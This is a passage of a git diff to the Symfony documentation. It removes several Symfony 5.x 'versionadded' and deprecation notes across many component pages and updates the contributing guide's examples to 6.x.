-    The Runtime component was introduced in Symfony 5.3.
-
 Installation
 ------------
 
@@ -362,12 +358,6 @@ logic could be versioned as a part of a normal package. If the application
 author decides to use this component, the package maintainer of the Runtime
 class will have more control and can fix bugs and add features.
 
-.. note::
-
-    Before Symfony 5.3, the Symfony bootstrap logic was part of a Flex recipe.
-    Since recipes are rarely updated by users, bug patches would rarely be
-    installed.
-
 The Runtime component is designed to be totally generic and able to run any
 application outside of the global state in 6 steps:
 
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 9cca9f18d9f..629012a748c 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -130,8 +130,6 @@ password was valid::
     use Symfony\Component\Security\Core\User\InMemoryUserProvider;
     use Symfony\Component\Security\Core\User\UserChecker;
 
-    // The 'InMemoryUser' class was introduced in Symfony 5.3.
-    // In previous versions it was called 'User'
     $userProvider = new InMemoryUserProvider(
         [
             'admin' => [
diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index ffc4edc278a..bc5906a5342 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -54,10 +54,6 @@ recognizes several strategies:
 ``priority``
     grants or denies access by the first voter that does not abstain;
 
-    .. versionadded:: 5.1
-
-        The ``priority`` version strategy was introduced in Symfony 5.1.
-
 Usage of the available options in detail::
 
     use Symfony\Component\Security\Core\Authorization\AccessDecisionManager;
@@ -117,11 +113,6 @@ It also supports the attributes ``IS_ANONYMOUS``, ``IS_REMEMBERED``,
 ``IS_IMPERSONATOR`` to grant access based on a specific state of
 authentication.
 
-.. versionadded:: 5.1
-
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
-
 ::
 
     use Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolver;
diff --git a/components/security/secure_tools.rst b/components/security/secure_tools.rst
index a9d6e0fec3a..47c17e09380 100644
--- a/components/security/secure_tools.rst
+++ b/components/security/secure_tools.rst
@@ -7,9 +7,9 @@ also use them if you want to solve the problem they address.
 
 .. note::
 
-    The functions described in this article were introduced in PHP 5.6 or 7.
-    For older PHP versions, a polyfill is provided by the
-    `Symfony Polyfill Component`_.
+    The functions described in this article are available in modern PHP versions.
+    If your project uses a legacy PHP version, you can use them thanks to some
+    of the polyfills provided by the `Symfony Polyfill Component`_.
 
 Comparing Strings
 ~~~~~~~~~~~~~~~~~
diff --git a/components/semaphore.rst b/components/semaphore.rst
index ebae3df89e8..82d97c27977 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -8,10 +8,6 @@ The Semaphore Component
     The Semaphore Component manages `semaphores`_, a mechanism to provide
     exclusive access to a shared resource.
 
-.. versionadded:: 5.2
-
-    The Semaphore Component was introduced in Symfony 5.2.
-
 Installation
 ------------
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 9c8b73a04a1..78fbdf9284e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -899,14 +899,6 @@ The Serializer component provides several built-in normalizers:
     Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
     or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
 
-.. versionadded:: 5.2
-
-    The ``UidNormalizer`` was introduced in Symfony 5.2.
-
-.. versionadded:: 5.3
-
-    The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3.
-
 .. _component-serializer-encoders:
 
 Encoders
@@ -1004,10 +996,6 @@ Option                  Description                                            D
 ``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
 ======================= =====================================================  ==========================
 
-.. versionadded:: 5.3
-
-    The ``csv_end_of_line`` option was introduced in Symfony 5.3.
-
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
 
diff --git a/components/string.rst b/components/string.rst
index 48f17f0b3e9..1c9d4245076 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -8,10 +8,6 @@ The String Component
     The String component provides a single object-oriented API to work with
     three "unit systems" of strings: bytes, code points and grapheme clusters.
 
-.. versionadded:: 5.0
-
-    The String component was introduced in Symfony 5.0.
-
 Installation
 ------------
 
@@ -129,10 +125,6 @@ to make your code more concise::
     // creates a UnicodeString object
     $foo = s('अनुच्छेद');
 
-.. versionadded:: 5.1
-
-    The ``s()`` function was introduced in Symfony 5.1.
-
 There are also some specialized constructors::
 
     // ByteString can create a random string of the given length
@@ -146,10 +138,6 @@ There are also some specialized constructors::
     $foo = UnicodeString::fromCodePoints(0x928, 0x92E, 0x938, 0x94D, 0x924, 0x947);
     // equivalent to: $foo = new UnicodeString('नमस्ते');
 
-.. versionadded:: 5.1
-
-    The second argument of ``ByteString::fromRandom()`` was introduced in Symfony 5.1.
-
 Methods to Transform String Objects
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -354,10 +342,6 @@ Methods to Search and Replace
         return '['.$match[0].']';
     }); // result = '[1][2][3]'
 
-.. versionadded:: 5.1
-
-    The ``containsAny()`` method was introduced in Symfony 5.1.
-
 Methods to Join, Split, Truncate and Reverse
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -388,10 +372,6 @@ Methods to Join, Split, Truncate and Reverse
     // even if that generates a string longer than the desired length
     u('Lorem Ipsum')->truncate(8, '…', false); // 'Lorem Ipsum'
 
-.. versionadded:: 5.1
-
-    The third argument of ``truncate()`` was introduced in Symfony 5.1.
-
 ::
 
     // breaks the string into lines of the given length
@@ -414,10 +394,6 @@ Methods to Join, Split, Truncate and Reverse
     u('foo bar')->reverse(); // 'rab oof'
     u('さよなら')->reverse(); // 'らなよさ'
 
-.. versionadded:: 5.1
-
-    The ``reverse()`` method was introduced in Symfony 5.1.
-
 Methods Added by ByteString
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -488,18 +464,6 @@ that only includes safe ASCII characters::
         return str_replace('❤️', 'love', $string);
     });
 
-.. versionadded:: 5.1
-
-    The feature to define additional substitutions was introduced in Symfony 5.1.
-
-.. versionadded:: 5.2
-
-    The feature to use a PHP closure to define substitutions was introduced in Symfony 5.2.
-
-.. versionadded:: 5.3
-
-    The feature to fallback to the parent locale's symbols map was introduced in Symfony 5.3.
-
 The separator between words is a dash (``-``) by default, but you can define
 another separator as the second argument::
 
@@ -544,10 +508,6 @@ the injected slugger is the same as the request locale::
 Inflector
 ---------
 
-.. versionadded:: 5.1
-
-    The inflector feature was introduced in Symfony 5.1.
-
 In some scenarios such as code generation and code introspection, you need to
 convert words from/to singular/plural. For example, to know the property
 associated with an *adder* method, you must convert from plural
diff --git a/components/uid.rst b/components/uid.rst
index d6b3692be45..8a5c9d8cd7a 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -8,10 +8,6 @@ The UID Component
     The UID component provides utilities to work with `unique identifiers`_ (UIDs)
     such as UUIDs and ULIDs.
 
-.. versionadded:: 5.1
-
-    The UID component was introduced in Symfony 5.1.
-
 Installation
 ------------
 
@@ -67,11 +63,6 @@ to create each type of UUID::
     // It's defined in http://gh.peabody.io/uuidv6/
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
-.. versionadded:: 5.3
-
-    The ``Uuid::NAMESPACE_*`` constants and the namespace string values (``'dns'``,
-    ``'url'``, etc.) were introduced in Symfony 5.3.
-
 If your UUID value is already generated in another format, use any of the
 following methods to create a ``Uuid`` object from it::
 
@@ -82,11 +73,6 @@ following methods to create a ``Uuid`` object from it::
     $uuid = Uuid::fromBase58('TuetYWNHhmuSQ3xPoVLv9M');
     $uuid = Uuid::fromRfc4122('d9e7a184-5d5b-11ea-a62a-3499710062d0');
 
-.. versionadded:: 5.3
-
-    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
-    methods were introduced in Symfony 5.3.
-
 Converting UUIDs
 ~~~~~~~~~~~~~~~~
 
@@ -133,11 +119,6 @@ UUID objects created with the ``Uuid`` class can use the following methods
     //   * int < 0 if $uuid1 is less than $uuid4
     $uuid1->compare($uuid4); // e.g. int(4)
 
-.. versionadded:: 5.3
-
-    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
-    versions it was called ``getTime()``.
-
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -162,10 +143,6 @@ type, which converts to/from UUID objects automatically::
         // ...
     }
 
-.. versionadded:: 5.2
-
-    The UUID type was introduced in Symfony 5.2.
-
 There is no generator to assign UUIDs automatically as the value of your entity
 primary keys, but you can use the following::
 
@@ -264,11 +241,6 @@ following methods to create a ``Ulid`` object from it::
     $ulid = Ulid::fromBase58('1BKocMc5BnrVcuq2ti4Eqm');
     $ulid = Ulid::fromRfc4122('0171069d-593d-97d3-8b3e-23d06de5b308');
 
-.. versionadded:: 5.3
-
-    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
-    methods were introduced in Symfony 5.3.
-
 Converting ULIDs
 ~~~~~~~~~~~~~~~~
 
@@ -302,11 +274,6 @@ ULID objects created with the ``Ulid`` class can use the following methods::
     // this method returns $ulid1 <=> $ulid2
     $ulid1->compare($ulid2); // e.g. int(-1)
 
-.. versionadded:: 5.3
-
-    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
-    versions it was called ``getTime()``.
-
 Storing ULIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -361,10 +328,6 @@ entity primary keys::
 
     }
 
-.. versionadded:: 5.2
-
-    The ULID type and generator were introduced in Symfony 5.2.
-
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these ULID types to build the SQL query
 (e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL
@@ -397,10 +360,6 @@ of the ULID parameters::
 Generating and Inspecting UUIDs/ULIDs in the Console
 ----------------------------------------------------
 
-.. versionadded:: 5.3
-
-    The commands to inspect and generate UUIDs/ULIDs were introduced in Symfony 5.3.
-
 This component provides several commands to generate and inspect UUIDs/ULIDs in
 the console. They are not enabled by default, so you must add the following
 configuration in your application before using these commands:
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index b661bd7a44a..76a20c289be 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -191,10 +191,6 @@ Then you can use the following command to start a server out-of-the-box:
 Configuring the Dump Server with Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``VAR_DUMPER_FORMAT=server`` feature was introduced in Symfony 5.2.
-
 If you prefer to not modify the application configuration (e.g. to quickly debug
 a project given to you) use the ``VAR_DUMPER_FORMAT`` env var.
 
diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
index 0cca9901836..f38addb8281 100644
--- a/components/yaml/yaml_format.rst
+++ b/components/yaml/yaml_format.rst
@@ -124,12 +124,6 @@ Numbers
     # an octal
     0o14
 
-.. deprecated:: 5.1
-
-    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
-    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
-    notation and deprecated support for YAML 1.1 notation.
-
 .. code-block:: yaml
 
     # an hexadecimal
diff --git a/configuration.rst b/configuration.rst
index 3a42a45680f..f44344fed89 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -919,11 +919,6 @@ parameters at once by type-hinting any of its constructor arguments with the
 Using PHP ConfigBuilders
 ------------------------
 
-.. versionadded:: 5.3
-
-    The "ConfigBuilders" feature was introduced in Symfony 5.3 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
-
 Writing PHP config is sometimes difficult because you end up with large nested
 arrays and you have no autocompletion help from your favorite IDE. A way to
 address this is to use "ConfigBuilders". They are objects that will help you
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index a12b63a7a3e..1895a01b7cc 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -151,11 +151,6 @@ Symfony provides the following env var processors:
             };
 
 ``env(not:FOO)``
-
-    .. versionadded:: 5.3
-
-        The ``not:`` env var processor was introduced in Symfony 5.3.
-
     Casts ``FOO`` to a bool (just as ``env(bool:...)`` does) except it returns the inverted value
     (falsy values are returned as ``true``, truthy values are returned as ``false``):
 
diff --git a/console.rst b/console.rst
index 80ae5fd7cd5..40793b89b09 100644
--- a/console.rst
+++ b/console.rst
@@ -64,15 +64,6 @@ want a command to create a user::
         }
     }
 
-.. versionadded:: 5.1
-
-    The ``Command::SUCCESS`` and ``Command::FAILURE`` constants were introduced
-    in Symfony 5.1.
-
-.. versionadded:: 5.3
-
-    The ``Command::INVALID`` constant was introduced in Symfony 5.3
-
 Configuring the Command
 -----------------------
 
@@ -397,15 +388,6 @@ console::
 If you are using a :doc:`single-command application </components/console/single_command_tool>`,
 call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``.
 
-.. versionadded:: 5.2
-
-    The ``setAutoExit()`` method for single-command applications was introduced
-    in Symfony 5.2.
-
-.. versionadded:: 5.4
-
-    The ``assertCommandIsSuccessful()`` method was introduced in Symfony 5.4.
-
 .. tip::
 
     You can also test a whole console application by using
diff --git a/console/coloring.rst b/console/coloring.rst
index 7e77a090b25..32d86087ebb 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -50,14 +50,6 @@ Any hex color is supported for foreground and background colors. Besides that, t
 ``gray``, ``bright-red``, ``bright-green``, ``bright-yellow``, ``bright-blue``,
 ``bright-magenta``, ``bright-cyan`` and ``bright-white``.
 
-.. versionadded:: 5.2
-
-    True (hex) color support was introduced in Symfony 5.2
-
-.. versionadded:: 5.3
-
-    Support for bright colors was introduced in Symfony 5.3.
-
 .. note::
 
     If the terminal doesn't support true colors, the nearest named color is used.
diff --git a/console/input.rst b/console/input.rst
index 3bbba7e5fce..fa0ae899c0e 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -221,10 +221,6 @@ There are five option variants you can use:
     Accept either the flag (e.g. ``--yell``) or its negation (e.g.
     ``--no-yell``).
 
-.. versionadded:: 5.3
-
-    The ``InputOption::VALUE_NEGATABLE`` constant was introduced in Symfony 5.3.
-
 You can combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
 ``VALUE_OPTIONAL`` like this::
 
diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index e3c26372cfe..02f635f5788 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -43,8 +43,4 @@ that adds two convenient methods to lock and release commands::
         }
     }
 
-.. versionadded:: 5.1
-
-    The ``Command::SUCCESS`` constant was introduced in Symfony 5.1.
-
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)
diff --git a/console/style.rst b/console/style.rst
index c680e3703df..b4bf70e2820 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -342,10 +342,6 @@ Result Methods
             'Consectetur adipiscing elit',
         ]);
 
-.. versionadded:: 5.2
-
-    The ``info()`` method was introduced in Symfony 5.2.
-
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::warning`
     It displays the given string or array of strings highlighted as a warning
     message (with a red background and the ``[WARNING]`` label). It's meant to be
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 2c465096f0b..c2b6d16fba3 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -174,32 +174,32 @@ If you are documenting a brand new feature, a change or a deprecation that's
 been made in Symfony, you should precede your description of the change with
 the corresponding directive and a short description:
 
-For a new feature or a behavior change use the ``.. versionadded:: 5.x``
+For a new feature or a behavior change use the ``.. versionadded:: 6.x``
 directive:
 
 .. code-block:: rst
 
-    .. versionadded:: 5.2
+    .. versionadded:: 6.2
 
-        ... ... ... was introduced in Symfony 5.2.
+        ... ... ... was introduced in Symfony 6.2.
 
 If you are documenting a behavior change, it may be helpful to *briefly*
 describe how the behavior has changed:
 
 .. code-block:: rst
 
-    .. versionadded:: 5.2
+    .. versionadded:: 6.2
 
-       ... ... ... was introduced in Symfony 5.2. Prior to this,
+       ... ... ... was introduced in Symfony 6.2. Prior to this,
        ... ... ... ... ... ... ... ... .
 
-For a deprecation use the ``.. deprecated:: 5.x`` directive:
+For a deprecation use the ``.. deprecated:: 6.x`` directive:
 
 .. code-block:: rst
 
-    .. deprecated:: 5.2
+    .. deprecated:: 6.2
 
-        ... ... ... was deprecated in Symfony 5.2.
+        ... ... ... was deprecated in Symfony 6.2.
 
 Whenever a new major version of Symfony is released (e.g. 6.0, 7.0, etc),
 a new branch of the documentation is created from the ``master`` branch.
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 62d5c182c1e..065044a1b24 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -81,12 +81,6 @@ and what headers your reverse proxy uses to send information:
             ;
         };
 
-.. deprecated:: 5.2
-
-    In previous Symfony versions, the above example used ``HEADER_X_FORWARDED_ALL``
-    to trust all "X-Forwarded-" headers, but that constant is deprecated since
-    Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
-
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
@@ -97,13 +91,6 @@ The Request object has several ``Request::HEADER_*`` constants that control exac
 *which* headers from your reverse proxy are trusted. The argument is a bit field,
 so you can also pass your own value (e.g. ``0b00110``).
 
-.. versionadded:: 5.2
-
-    The feature to configure trusted proxies and headers with ``trusted_proxies``
-    and ``trusted_headers`` options was introduced in Symfony 5.2. In earlier
-    Symfony versions you needed to use the ``Request::setTrustedProxies()``
-    method in the ``public/index.php`` file.
-
 .. caution::
 
     The "trusted proxies" feature does not work as expected when using the
diff --git a/doctrine/events.rst b/doctrine/events.rst
index abe574a1867..f8029b3fe2b 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -524,10 +524,6 @@ can do it in the service configuration:
             ;
         };
 
-.. versionadded:: 5.3
-
-    Subscriber priority was introduced in Symfony 5.3.
-
 .. tip::
 
     Symfony loads (and instantiates) Doctrine subscribers whenever the
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 794a09bb83b..62880a973af 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -220,8 +220,6 @@ a "main" request or a "sub request"::
     {
         public function onKernelRequest(RequestEvent $event)
         {
-            // The isMainRequest() method was introduced in Symfony 5.3.
-            // In previous versions it was called isMasterRequest()
             if (!$event->isMainRequest()) {
                 // don't do anything if it's not the main request
                 return;
@@ -331,10 +329,6 @@ or can get everything which partial matches the event name:
     $ php bin/console debug:event-dispatcher kernel // matches "kernel.exception", "kernel.response" etc.
     $ php bin/console debug:event-dispatcher Security // matches "Symfony\Component\Security\Http\Event\CheckPassportEvent"
 
-.. versionadded:: 5.3
-
-    The ability to match partial event names was introduced in Symfony 5.3.
-
 The :doc:`new authenticator-based Security </security/authenticator_manager>`
 system adds an event dispatcher per firewall. Use the ``--dispatcher`` option to
 get the registered listeners for a particular event dispatcher:
@@ -343,10 +337,6 @@ get the registered listeners for a particular event dispatcher:
 
     $ php bin/console debug:event-dispatcher --dispatcher=security.event_dispatcher.main
 
-.. versionadded:: 5.3
-
-    The ``dispatcher`` option was introduced in Symfony 5.3.
-
 Learn more
 ----------
 
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 599f49bcb47..7b758794d57 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -1,10 +1,6 @@
 Bootstrap 5 Form Theme
 ======================
 
-.. versionadded:: 5.3
-
-    The Bootstrap 5 Form Theme was introduced in Symfony 5.3.
-
 Symfony provides several ways of integrating Bootstrap into your application.
 The most straightforward way is to add the required ``<link>`` and ``<script>``
 elements in your templates (usually you only include them in the main layout
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 24ff0716f5f..692b41e186b 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -224,10 +224,6 @@ If available, these options have priority over the property path accessor and
 the default data mapper will still use the :doc:`PropertyAccess component </components/property_access>`
 for the other form fields.
 
-.. versionadded:: 5.2
-
-    The ``getter`` and ``setter`` options were introduced in Symfony 5.2.
-
 .. caution::
 
     When a form has the ``inherit_data`` option set to ``true``, it does not use the data mapper and
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 570947c1972..329ef43d638 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -47,14 +47,6 @@ in a single Twig template and they are enabled in the
   element with the absolute minimum styles to make them usable. It is based on the
   `Tailwind CSS form plugin`_.
 
-.. versionadded:: 5.1
-
-    The ``foundation_6_layout.html.twig`` was introduced in Symfony 5.1.
-
-.. versionadded:: 5.3
-
-    The ``bootstrap_5_layout.html.twig``, ``bootstrap_5_horizontal_layout.html.twig`` and ``tailwind_2_layout.html.twig`` were introduced in Symfony 5.3.
-
 .. tip::
 
     Read the articles about :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>` and :doc:`Bootstrap 5 Symfony form theme </form/bootstrap5>`
@@ -348,10 +340,6 @@ You can also customize each entry of all collections with the following blocks:
     {% block collection_entry_help %} ... {% endblock %}
     {% block collection_entry_errors %} ... {% endblock %}
 
-.. versionadded:: 5.1
-
-    The ``collection_entry_*`` blocks were introduced in Symfony 5.1.
-
 Finally, you can customize specific form collections instead of all of them.
 For example, consider the following complex example where a ``TaskManagerType``
 has a collection of ``TaskListType`` which in turn has a collection of
diff --git a/forms.rst b/forms.rst
index 3814caa0646..7ec57604187 100644
--- a/forms.rst
+++ b/forms.rst
@@ -590,10 +590,6 @@ learn more about the validation constraints, please refer to the
 Form Validation Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``legacy_error_messages`` option was introduced in Symfony 5.2
-
 The form types have default error messages that are more clear and
 user-friendly than the ones provided by the validation constraints. To enable
 these new messages set the ``legacy_error_messages`` option to ``false``:
diff --git a/http_cache.rst b/http_cache.rst
index 35620d1cd76..69331165d8c 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -360,11 +360,6 @@ Additionally, most cache-related HTTP headers can be set via the single
         'etag'             => 'abcdef'
     ]);
 
-.. versionadded:: 5.1
-
-    The ``must_revalidate``, ``no_cache``, ``no_store``, ``no_transform`` and
-    ``proxy_revalidate`` directives were introduced in Symfony 5.1.
-
 Cache Invalidation
 ------------------
 
diff --git a/http_client.rst b/http_client.rst
index 97834a1041d..10c2df12c2c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -146,10 +146,6 @@ method to retrieve a new instance of the client with new default options::
         'headers' => ['header-name' => 'header-value']
     ]);
 
-.. versionadded:: 5.3
-
-    The ``withOptions()`` method was introduced in Symfony 5.3.
-
 Some options are described in this guide:
 
 * `Authentication`_
@@ -659,10 +655,6 @@ according to the ``multipart/form-data`` content-type. The
         $formData->getParts(); // Returns two instances of TextPart both
                                // with the name "array_field"
 
-    .. versionadded:: 5.2
-
-        The alternative array structure was introduced in Symfony 5.2.
-
 By default, HttpClient streams the body contents when uploading them. This might
 not work with all servers, resulting in HTTP status code 411 ("Length Required")
 because there is no ``Content-Length`` header. The solution is to turn the body
@@ -707,10 +699,6 @@ making a request. Use the ``max_redirects`` setting to configure this behavior
 Retry Failed Requests
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The feature to retry failed HTTP requests was introduced in Symfony 5.2.
-
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the
 :ref:`retry_failed option <reference-http-client-retry-failed>`.
@@ -821,10 +809,6 @@ is installed and enabled. Otherwise, the native PHP streams will be used.
 Configuring CurlHttpClient Options
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The feature to configure extra cURL options was introduced in Symfony 5.2.
-
 PHP allows to configure lots of `cURL options`_ via the :phpfunction:`curl_setopt`
 function. In order to make the component more portable when not using cURL, the
 ``CurlHttpClient`` only uses some of those options (and they are ignored in the
@@ -859,12 +843,6 @@ following tools is installed:
 * The `libcurl`_ package version 7.36 or higher;
 * The `amphp/http-client`_ Packagist package version 4.2 or higher.
 
-.. versionadded:: 5.1
-
-    Integration with ``amphp/http-client`` was introduced in Symfony 5.1.
-    Prior to this version, HTTP/2 was only supported when ``libcurl`` was
-    installed.
-
 To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
 ``http_version`` option:
 
@@ -1257,10 +1235,6 @@ installed in your application::
 Consuming Server-Sent Events
 ----------------------------
 
-.. versionadded:: 5.2
-
-    The feature to consume server-sent events was introduced in Symfony 5.2.
-
 `Server-sent events`_ is an Internet standard used to push data to web pages.
 Its JavaScript API is built around an `EventSource`_ object, which listens to
 the events sent from some URL. The events are a stream of data (served with the
@@ -1566,10 +1540,6 @@ The solution is to also decorate the response object itself.
 :class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good
 examples as a starting point.
 
-.. versionadded:: 5.2
-
-    ``AsyncDecoratorTrait`` was introduced in Symfony 5.2.
-
 In order to help writing more advanced response processors, the component provides
 an :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait`. This trait allows
 processing the stream of chunks as they come back from the network::
@@ -1691,10 +1661,6 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 
     $mockResponse = new MockResponse($body());
 
-.. versionadded:: 5.2
-
-    The feature explained below was introduced in Symfony 5.2.
-
 Finally, you can also create an invokable or iterable class that generates the
 responses and use it as a callback in functional tests::
 
diff --git a/logging/processors.rst b/logging/processors.rst
index 3c4faacda5f..317bf8898aa 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -178,10 +178,6 @@ Symfony's MonologBridge provides processors that can be registered inside your a
     Adds information about the user who is impersonating the logged in user,
     namely username, roles and whether the user is authenticated.
 
-    .. versionadded:: 5.2
-
-        The ``SwitchUserTokenProcessor`` was introduced in Symfony 5.2.
-
 :class:`Symfony\\Bridge\\Monolog\\Processor\\WebProcessor`
     Overrides data from the request using the data inside Symfony's request
     object.
diff --git a/mailer.rst b/mailer.rst
index eb293b0e815..15935e8e484 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -80,10 +80,6 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 Using Built-in Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The native protocol was introduced in Symfony 5.2.
-
 ============  ========================================  ==============================================================
 DSN protocol  Example                                   Description
 ============  ========================================  ==============================================================
@@ -114,10 +110,6 @@ SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
 ==================  ==============================================
 
-.. versionadded:: 5.2
-
-    The Sendinblue integration was introduced in Symfony 5.2.
-
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:
@@ -179,11 +171,6 @@ party provider:
     When using SMTP, the default timeout for sending a message before throwing an
     exception is the value defined in the `default_socket_timeout`_ PHP.ini option.
 
-    .. versionadded:: 5.1
-
-        The usage of ``default_socket_timeout`` as the default timeout was
-        introduced in Symfony 5.1.
-
 .. tip::
 
     If you want to override the default host for a provider (to debug an issue using
@@ -234,11 +221,6 @@ As with the failover transport, round-robin retries deliveries until
 a transport succeeds (or all fail). In contrast to the failover transport,
 it *spreads* the load across all its transports.
 
-.. versionadded:: 5.1
-
-    The random selection of the first transport was introduced in Symfony 5.1.
-    In previous Symfony versions the first transport was always selected first.
-
 TLS Peer Verification
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -249,10 +231,6 @@ the application or when using a self-signed certificate::
 
     $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
-.. versionadded:: 5.1
-
-    The ``verify_peer`` option was introduced in Symfony 5.1.
-
 Creating & Sending Messages
 ---------------------------
 
@@ -333,10 +311,6 @@ both strings or address objects::
     characters, except for the sender address (to avoid issues with bounced emails).
     For example: ``föóbàr@example.com``, ``用户@example.com``, ``θσερ@example.com``, etc.
 
-    .. versionadded:: 5.2
-
-        Support for UTF-8 characters in email addresses was introduced in Symfony 5.2.
-
 Use ``addTo()``, ``addCc()``, or ``addBcc()`` methods to add more addresses::
 
     $email = (new Email())
@@ -525,10 +499,6 @@ and headers.
             $mailer->header('X-Custom-Header')->value('foobar');
         };
 
-.. versionadded:: 5.2
-
-    The ``headers`` option was introduced in Symfony 5.2.
-
 Handling Sending Failures
 -------------------------
 
@@ -1004,10 +974,6 @@ key but not a certificate::
         ->toArray()
     );
 
-.. versionadded:: 5.2
-
-    The DKIM signer was introduced in Symfony 5.2.
-
 Encrypting Messages
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1221,19 +1187,9 @@ disable asynchronous delivery.
                 ->messageBus('app.another_bus');
         };
 
-.. versionadded:: 5.1
-
-    The ``message_bus`` option was introduced in Symfony 5.1.
-
 Adding Tags and Metadata to Emails
 ----------------------------------
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Mailer\\Header\\TagHeader` and
-    :class:`Symfony\\Component\\Mailer\\Header\\MetadataHeader` classes were
-    introduced in Symfony 5.1.
-
 Certain 3rd party transports support email *tags* and *metadata*, which can be used
 for grouping, tracking and workflows. You can add those by using the
 :class:`Symfony\\Component\\Mailer\\Header\\TagHeader` and
diff --git a/messenger.rst b/messenger.rst
index b3dba9e0ee3..ae1e02e0431 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -613,10 +613,6 @@ You can limit the worker to only process messages from specific queues:
 To allow using the ``queues`` option, the receiver must implement the
